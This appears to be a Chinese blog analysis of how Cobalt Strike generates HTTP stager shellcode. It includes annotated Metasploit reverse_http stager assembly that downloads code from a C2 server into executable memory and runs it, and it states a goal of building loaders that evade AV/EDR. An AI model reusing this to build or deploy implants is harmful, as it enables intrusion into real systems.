C2工具原理分析:从生成shellcode到上线CS服务器全过程
一、前言
最近在研究C2的实现,但是又不知道具体原理,所以疯狂的在网上找介绍C2工具的实现的文章,可是搜索到的文章寥寥无几,不免让人心灰意冷。突然灵光一闪,MSF和CobaltStrike作为C2工具的标杆,肯定有很多分析文章,并且MSF和CobaltStrike的源码是比较好分析的(因为用java写,打包成jar文件),所以就以学习的态度写下了这篇文章,仅供参考使用。因本人水平较低,文章难免会有错误,敬请各位师傅批评指正。
1.1 事前准备
Idea2023
cobaltStrike 4.5源码
x64dbg或x32dbg动态调试工具
IDA Pro逆向分析工具
1.2 几个问题
stager的shellcode是怎么生成的?
stager是如何建立连接并传输beacon.dll的?
stager是如何在内存中注入beacon.dll的?
beacon.dll是如何自加载到内存其他区域并执行的?
beacon是如何与teamserver建立连接的?
teamserver是如何处理beacon的连接请求的?
二、生成stager的shellcode
当我们想要使某个目标主机上线到我们的服务器时,我们可以选择使用 windows Executable(Stageless)
我beacon.exe作为我们控制目标主机的植入物。但是现实情况是,我们渗透的环境被AV/EDR严密监控,我们不好直接修改beacon.exe,但是我们可以利用CobaltStrike提供的stager的shellcode,利用各种加载器来绕过AV/EDR。
所以研究如何生成stager的shellcode会有助于我们构建自己C2的Stager以及做出五花八门的加载器
当我们点击PayloadGenerator这个选项,client端就会弹出对应的PayloadGeneratorDialog这个对话框。假设我们的监听器类型是 windows/beacon_http/reverse_http
,监听器的名称是 hacker
,选择的架构是 x64

那么我们就按照生成shellcode的执行流程开始分析吧
2.1 分析PayloadGeneratorDialog类
PayloadGeneratorDialog这个类在aggressor/dialog目录下

分析这个类的的方法
PayloadGeneratorDialog:构造函数接受一个
AggressorClient
对象(Cobalt Strike 的客户端对象),并将其存储在类的client
成员变量中。这使得后续的操作可以使用客户端对象来获取监听器等信息。B():这个方法用于检查当前 JVM 是否被附加了
-javaagent
参数(通常用于 Java 代理进行调试或性能监控)。dialogAction:参数解析和监听器选择,判断是选择x64架构和x86架构和选择的监听器类型生成payload
dialogResult:这是一个回调函数,根据用户选择的不同格式,将 payload.bin格式转换为相应的语言或格式(如 C、C#、Python、PowerShell 等)。
大致明白了这个类的方法后,就可以发现,当我们点击“Generate”这个按钮后,就会有相应的事件处理方法来处理相关事件,在本例中就是dialogAction方法。所以重点分析这个方法完成了什么功能,调用了哪些自定义的方法。

首先利用DialogUtils工具类处理了用户选择的架构和监听器名称
接着ListenerUtils.getListener获取了监听器对象
ScListener
根据用户选择的架构生成相应的 payload
生成 payload 文件名并保存文件
DialogUtils.toMap(...)
:将不同的 payload 格式映射为对应的文件扩展名。DialogUtils.string(var2, "format")
:从var2
中获取用户选择的 payload 格式。根据用户选择的格式生成文件名,例如
payload.ps1
、payload.c
等SafeDialogs.saveFile((JFrame)null, var8, this):打开文件保存对话框,允许用户选择保存生成的 payload 文件的位置。
分析过后,我对ListenerUtils的getListener()、和ScListener类的getPayloadStager()、SafeDialogs.saveFile()这三个方法感到好奇,所以我们转到函数实现处,看看具体实现
2.2 ListenerUtils.getListener()

getListener():它通过监听器名称(listener
name,比如说你的监听器名称为“hacker”)在本地或全局数据中查找并返回一个 ScListener
对象。
它一共有两种查找方式从本地数据源查找监听器和全局数据源查找监听器。查找方式的实现,不是我们关注的重点,所以接下来分析ScListener类的getPayloadStager()方法
2.3 ScListener.getPayloadStager()

getPayloadStager()只有一句代码,就是调用Stagers.shellcode方法。
Stagers.shellcode方法的参数是:ScListener对象的引用、监听器的类型以及架构。那我们继续转到shellcode()方法的具体实现处
2.4 Stagers.shellcode()

Stagers.shellcode方法代码逻辑:
通过
A.resolve
解析生成GenericStager
对象。GenericStager
是一个用于生成 shellcode 的对象,通常与监听器相关联。它可能根据监听器的配置生成特定的 shellcode,允许目标系统反向连接到攻击者的服务器。然后调用了
GenericStager
对象的generate()方法来生成shellcode,所以接下来我们转到具体实现处
2.5 GenericHTTPStager.generate()
注意:因为我使用的是 windows/beacon_http/reverse_http
的监听器所以由GenericHTTPStager类复负责相关操作,而GenericHTTPStager实现了GenericStager类。
我去,一跳转过来就是眼花缭乱的代码,这不得狠狠静下心来细心的分析了

GenericHTTPStager.generate()的方法代码逻辑
资源加载(读取模板文件):使用CommonUtils.resource方法从指定文件路径中加载文件,这个路径是通过GenericHTTPStager.getStagerFile()方法获取的。这个资源的路径是“resources/httpsstager64.bin”。


添加监听主机地址:在转换成字符串的var3后追加监听器的 stager 主机地址和一个空字符

接下来这部操作可以说是核心操作了
更新端口信息:使用
Packer
对象,使用小端序,并通过addShort()
向Packer添加端口号。调用AssertUtils.TestPatchS
进行校验,检查var2
(字节数组)在偏移量this.getPortOffset()
处的short
值是否为4444
。因为端口号在模板文件中的的相对偏移是固定的,这样就可以方便地修改端口号了。如GenericHTTPSStagerX64的偏移量是274。 然后,使用CommonUtils.replaceAt
将新的端口号替换到字符串var3
的对应位置。

更新退出条件(Exit Offset):重新初始化 Packer 对象,并使用 addInt() 方法添加一个整型值 1453503984(可能是某种退出标志或函数指针的地址)。

更新 Stage Preamble:这里的逻辑与端口号的处理类似,向字节数组中添加 Stage Preamble(可能是某种阶段性标志)。

更新连接标志(Connection Flags): 根据
this.isSSL()
判断是否使用 SSL。如果使用 SSL,则连接标志为-2069876224
,否则为-2074082816
。

以上操作就是在根据httpsstager64.bin模板文件,根据监听主机的ip、port、SSL 配置和其他信息构建起一个能在目标主机上运行的stager。
2.6 SafeDialogs.saveFile()
经过一连串的操作,这时你的代码终于来到 PayloadGeneratorDialog.dialogAction()
方法的末尾,下一步就是调用回调函数 PayloadGeneratorDialog.dialogResult()
将我们得到的字节数组类型的shellcode转换成各种格式,最后弹出一个saveFile
窗口

我们来分析一下SafeDialogs.saveFile()的内部实现,这个方法用于在 GUI 应用程序中打开一个保存文件的对话框,并处理用户的文件选择。这一部分代码很好懂,我们看最后一段代码SafeDialogs.B(var2, var2x + "");

最后一段代码调用了SafeDialogs.B(),这里面调用了回调函数dialogResult()

至此生成stager的shellcode的分析过程大致介绍完了,当然还有很多细节没有讲,这对于理解整个分析过程没有太大的影响。

三、stager
在实际的渗透过程中,我们大多数使用的是stager,而stager究竟是什么?它的工作机制是什么?下面我们就开始分析。
3.1 stager是什么
stager(阶段传输器)是一个小存根,旨在创建某种形式的通信,然后将执行传递给下一个阶段。它允许我们最初使用较小的stager来加载具有更多功能的较大payload。
stager通常由汇编语言编写且大部分功能都是通过调用系统API完成,可以以高效的执行方式和很小的体积运行在目标系统。因为体积很小,通常适用于目标主机所处的网络对数据传输量做出严格限制。
3.2 stager的工作原理
3.2.1 原理分析
用于通过 WinINet API
执行网络通信操作,并从远程服务器下载并执行恶意代码。代码中使用了 WinINet API 来建立 HTTP 连接、发送请求、下载数据,并通过 VirtualAlloc 分配内存来存储下载的数据,最后跳转到该内存地址并执行下载的代码(即所谓的“stage”)。
你是否思考过CobaltStrike监听器设置中的 HTTP Host(Stager)
和和 HTTP Hosts
这两个配置信息有什么用呢?

HTTP Hosts:beacon.dll根据这个IP与我们的服务器进行连接,并进行后续的控制目标主机的操作。
HTTP Host(Stager):这个IP告诉stager要与谁建立连接,并下载beacon.dll。
通常情况下,这两个的IP是一样的,当然也可以分别设置。
CobaltStrike的stager的工作原理:stager要负责按照HTTP Host(Stager)的IP将beacon的pe文件(通常是beacon.dll)从server下载下来,然后通过PELoader将beacon.dll加载到内存并执行,这个PELoader在CobaltStrikes具体实现是反射型dll注入(Reflective dll inject)
3.1.2 代码分析
只是大致了解CobaltStrike的stager对于我而言还是不够的,我更关心的是它是代码实现。前面也说了stager大多数是有汇编语言编写,可是我没有CobaltStrike的stager源码啊,这可怎么办。
解决方法:①将十六进制的shellcode反汇编成汇编代码;②利用msf的stager源码来进行分析
为了方便,我就利用msf的stager来进行分析,CobaltStrike的Stager实现也相差不大
源码我放在这里,有需要的可以去看一下 metasploit-framework/external/source/shellcode/windows/x86/src/block/block_reverse_http.asm at master · rapid7/metasploit-framework (github.com)
代码块的详细分析: 1. 加载 wininet.dll
和 LoadLibrary
push 0x0074656e ; Push the bytes 'wininet',0 onto the stack.
push 0x696e6977 ; Push 'wininet' in reverse order.
push esp ; Push a pointer to the "wininet" string on the stack.
push 0x0726774C ; hash( "kernel32.dll", "LoadLibraryA" )
call ebp ; Call LoadLibraryA to load wininet.dll
使用
LoadLibraryA
加载wininet.dll
,这是 Windows 用于网络操作的动态链接库。通过
ebp
调用LoadLibraryA
,并将wininet.dll
的名称压入堆栈。
2. 设置重试次数
set_retry:
push byte 8 ; retry 8 times
pop edi
通过
edi
设置重试次数为 8 次,之后如果网络操作失败,可以多次重试。
3. 调用 InternetOpenA
初始化网络连接
internetopen:
push 0xA779563A ; hash( "wininet.dll", "InternetOpenA" )
call ebp
使用
ebp
调用InternetOpenA
来初始化网络连接,该函数的哈希值0xA779563A
是针对InternetOpenA
的哈希值,哈希函数可能使用了某种自定义算法(常见于 shellcode 中以避免直接使用字符串)。
4. 连接到服务器
internetconnect:
push byte 3 ; INTERNET_SERVICE_HTTP
push ebx ; password (NULL)
push ebx ; username (NULL)
push dword 4444 ; PORT
call got_server_uri ; call to get server URI
got_server_host:
push eax ; HINTERNET hInternet
push 0xC69F8957 ; hash( "wininet.dll", "InternetConnectA" )
call ebp
使用
InternetConnectA
连接到一个 HTTP 服务器,端口号为4444
,URI 为"/12345"
。
5. 发送 HTTP 请求
httpopenrequest:
push HTTP_OPEN_FLAGS ; dwFlags
push ebx ; accept types (NULL)
push ebx ; referrer (NULL)
push ebx ; version (NULL)
push edi ; server URI ("/12345")
push ebx ; method (NULL)
push eax ; hConnection
push 0x3B2E55EB ; hash( "wininet.dll", "HttpOpenRequestA" )
call ebp
构造并发送 HTTP 请求,使用
HttpOpenRequestA
处理请求的标志和连接信息。
6. 发送 HTTP 请求并读取数据
httpsendrequest:
push ebx ; lpOptional length (0)
push ebx ; lpOptional (NULL)
push ebx ; dwHeadersLength (0)
push ebx ; lpszHeaders (NULL)
push esi ; hHttpRequest
push 0x7B18062D ; hash( "wininet.dll", "HttpSendRequestA" )
call ebp
使用
HttpSendRequestA
发送 HTTP 请求,接收服务器的响应。
7. 分配内存用于存储下载的数据
allocate_memory:
push byte 0x40 ; PAGE_EXECUTE_READWRITE
push 0x1000 ; MEM_COMMIT
push 0x00400000 ; 4MB allocation
push ebx ; NULL (let the system choose the address)
push 0xE553A458 ; hash( "kernel32.dll", "VirtualAlloc" )
call ebp
使用
VirtualAlloc
分配内存,用于存储从服务器下载的代码,设置为可执行和可写(PAGE_EXECUTE_READWRITE
)。
8. 从服务器下载数据
download_more:
push edi ; &bytesRead
push 8192 ; download 8KB
push ebx ; buffer
push esi ; hRequest
push 0xE2899612 ; hash( "wininet.dll", "InternetReadFile" )
call ebp
使用
InternetReadFile
读取从服务器下载的数据,循环下载直到所有数据接收完毕。
9. 执行下载的数据
execute_stage:
ret ; ret will jump to the downloaded code
一旦数据下载完毕,
ret
指令将跳转到下载的代码并执行它。
四、beacon.dll
待完善
beacon.dll通常以exe或者dll形式存在,且由beacon主体程序和加载器组成。
beacon.dll是通过反射型DLL注入的方式加载到内存中执行的,而加载器(ReflectiveLoader)是在反射型DLL(Reflective DLL)内部实现的,也就是说一个反射型DLL=ReflectiveLoader+beacon的主体程序(PE格式)。
在这里我们重点分析ReflectiveLoader的工作原理和beacon与Teamserver建立连接。
stages实现原理可以看这个文章: metasploit payload运行原理浅析(sockedi调用约定是什么) - Akkuman - 博客园 (cnblogs.com)
4.1 ReflectiveLoader

4.2 beacon与Teamserver建立连接
五、Teamserver
5.1 Teamserver处理连接请求
待完善
六、总结
经过三、四和五小节的分析,可以大致将shellcode到上线CS服务器总结为:
在第一阶段:stager通常是由汇编语言编写,这样使得stager更小巧。stager将beacon植入物的shellcode传输到目标主机的内存上。然后通过使用的是反射型dll注入执行beacon.dll
在第二阶段:ReflectiveLoader做的事情如下
获取解密需要的系统api
对DLL解密
寻找pe文件地址,也就是beacon植入物的地址
申请内存,复制pe文件到这片内存中
修复导入表(IAT:导入表是记录PE文件中用到的动态连接库的集合)
修复重定位表(Relocation Table:重定位表(Relocation Table)用于在程序加载到内存中时,进行内存地址的修正)
执行beacon.dll
在第三阶段:beacon发出连接请求和Teamserver处理连接请求